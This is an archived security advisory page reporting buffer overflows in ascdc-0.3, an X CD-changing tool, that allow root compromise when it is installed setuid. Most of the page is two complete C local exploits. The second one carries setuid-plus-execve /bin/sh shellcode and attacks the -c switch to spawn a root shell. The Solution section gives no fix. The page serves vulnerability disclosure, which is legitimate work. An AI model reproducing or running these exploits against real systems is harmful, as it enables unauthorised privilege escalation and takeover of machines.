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TUCoPS :: Unix :: General :: ascdc.htm

Ascdc-0.3 multiple buffer overflows, possible root compromise



Vulnerability

    ascdc

Affected

    ascdc-0.3

Description

    Following is based on a WSIR-01/02-06 discovered by Christer Uberg
    (Wkit Security).  Use this bad boy to swap CD's graphically  under
    X.   There  are  multiple  buffer  overflows  in ascdc that can be
    exploited to gain root if it is installed setuid root.  It is  NOT
    installed setuid root  by default but  as the README  says "If you
    intend to use the automounting feature, you must either run  ascdc
    as  root,  or  setuid  it".   Christer  used  the -d option in the
    exploit but overflows also exist in the -m & -c switches.

    Exploit:

    char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
               "\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
               "\x01\xcd\x80\xe8\xe6\xff\xff\xff"
               "Would you like to play a game? y\x0aStrange, the only winning
    move is not to play.\x0a";
    #define bsize 600
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int i;
      buff = malloc(bsize);

      addr = get_sp();
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < 600/2; i++)
        buff[i] = 0x90;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
        buff[bsize - 1] = '\0';
     execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);

    }

    'The Itch' sent working version of the exploit for ascdc-0.3 using
    the -c switch this time:

    /* /usr/X11R6/bin/ascdc local exploit.
     * (version: ascdc-0.3-2-i386)
     *
     * Vulnerability found by Christer Öberg, Wkit Security AB
     *
     * - The Itch / BsE
     * - http://bse.die.ms
     * - irc.axenet.org
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define DEFAULT_EGG_SIZE 2048
    #define NOP 0x90
    
    /* adjust if needed, this should be suffient */
    #define DEFAULT_BUFFER_SIZE 600
    
    unsigned long get_sp(void)
    {
            __asm__("movl %esp, %eax");
    }
    
    char shellcode[] =
            "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    int main(int argc, char *argv[])
    {
            char *buff;
            char *egg;
            char *ptr;
            long *addr_ptr;
            long addr;
            int bsize = DEFAULT_BUFFER_SIZE;
            int eggsize = DEFAULT_EGG_SIZE;
            int i;
    
	    if(argc > 1) { bsize = atoi(argv[1]); }
    
	    if(!(buff = malloc(bsize)))
	    {
		    printf("unable to allocate memory for %d bytes\n", bsize);
		    exit(1);
	    }
    
	    if(!(egg = malloc(eggsize)))
	    {
	 	    printf("unable to allocate memory for %d bytes\n", eggsize);
 		    exit(1);
	    }
    
            addr = get_sp();
    
	    printf("/usr/X11R6/bin/ascdc local exploit.\n");
	    printf("Coded by The Itch / BsE\n\n");
            printf("Using return address: 0x%x\n", addr);
            printf("Using buffersize    : %d\n", bsize);
    
            ptr = buff;
            addr_ptr = (long *) ptr;
            for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
    
            ptr = egg;
            for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
	    {
		    *(ptr++) = NOP;
	    }
    
	    for(i = 0; i < strlen(shellcode); i++)
	    {
		    *(ptr++) = shellcode[i];
	    }
    
            buff[bsize - 1] = '\0';
            egg[eggsize - 1] = '\0';
            memcpy(egg, "EGG=", 4);
            putenv(egg);
            memcpy(buff, "RET=", 4);
            putenv(buff);
    
            system("/usr/X11R6/bin/ascdc -c $RET");
    
            return 0;
    }

Solution

    No information available.


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